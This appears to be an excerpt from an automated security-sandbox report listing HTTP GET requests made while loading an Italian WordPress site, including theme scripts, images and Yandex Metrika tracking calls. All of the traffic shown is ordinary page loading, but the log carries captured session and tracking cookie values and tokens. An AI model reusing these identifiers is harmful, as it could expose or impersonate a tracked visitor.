Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-widget.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_decide?token=10611.ypiVpKl1TaS_90RmrA4LBUwe28FduQr_As0goCFHNe3WItNOEA81sLSU0VJ3z1ns5ifLn9qIxkIu6p3s4TBtEDtVQOhaqB8rkghzxO8gZ9j-0ak4RnstvoyqT1k2XXLpqoWdgpShJGt9N04YeZ8jzvVGIp-ma8UsNL4JAuwxAlF_wqIpkhnYSQQP3gky7zL7m5zCzxtpslZPDNNIvbIoZWOroz3nS32OUg7hDcNkOFA%2C.Hui5W45AzTNyHNlXZbHDAFV5-Sg%2C HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168; yabs-sid=1132875371736425169; yuidss=4861718441736425168; ymex=1767961169.yrts.1736425169; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=239647205fake
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/framework/js/conditional_load/avia_google_maps_front.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /clmap/99162160?page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&pointer-click=rn%3A355398446%3Ax%3A46810%3Ay%3A9362%3At%3A33%3Ap%3A%3FAAA8%3AX%3A522%3AY%3A442&browser-info=u%3A1736425167496978039%3Av%3A1551%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1736425170&t=gdpr(14)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168; yabs-sid=1132875371736425169; yuidss=4861718441736425168; ymex=1767961169.yrts.1736425169; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=239647205fake
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-lightbox.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/1.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/2.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/aviapopup/jquery.magnific-popup.min.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/3.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/sfondo_cerchi.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-snippet-widget.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_decide?token=10611.ypiVpKl1TaS_90RmrA4LBUwe28FduQr_As0goCFHNe3WItNOEA81sLSU0VJ3z1ns5ifLn9qIxkIu6p3s4TBtEDtVQOhaqB8rkghzxO8gZ9j-0ak4RnstvoyqT1k2XXLpqoWdgpShJGt9N04YeZ8jzvVGIp-ma8UsNL4JAuwxAlF_wqIpkhnYSQQP3gky7zL7m5zCzxtpslZPDNNIvbIoZWOroz3nS32OUg7hDcNkOFA%2C.Hui5W45AzTNyHNlXZbHDAFV5-Sg%2C HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yashr=4971233111736425168; yabs-sid=1132875371736425169; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=239647205fake; yandexuid=261293701736425167; yuidss=261293701736425167; i=6wleOrWhjK8noyzjZuCs3wh1NvauUmnyDHLt7gSHpkr4lPwlwBxZwxSakIgXLQz7L6UWBlx+HC87B6D/KLjv8fwipoA=; yp=1736511572.yu.4861718441736425168; ymex=1739017172.oyu.4861718441736425168#1767961169.yrts.1736425169; sync_cookie_ok=synced
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/2705.svg HTTP/1.1Host: s.w.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metrika/advert.gif HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yashr=4971233111736425168; yabs-sid=1132875371736425169; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=239647205fake; yandexuid=261293701736425167; yuidss=261293701736425167; i=6wleOrWhjK8noyzjZuCs3wh1NvauUmnyDHLt7gSHpkr4lPwlwBxZwxSakIgXLQz7L6UWBlx+HC87B6D/KLjv8fwipoA=; yp=1736511572.yu.4861718441736425168; ymex=1739017172.oyu.4861718441736425168#1767961169.yrts.1736425169; sync_cookie_ok=synced
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/framework/js/conditional_load/avia_google_maps_front.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/09/MG_4783-67-copia-2.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.22.19-1051x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Dettaglio-della-sala-interna-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/1.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/2.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/06/3.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Vini-italiani-eccellenti-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/2705.svg HTTP/1.1Host: s.w.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.27.20-1222x630.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167; cookielawinfo-checkbox-necessary=yes
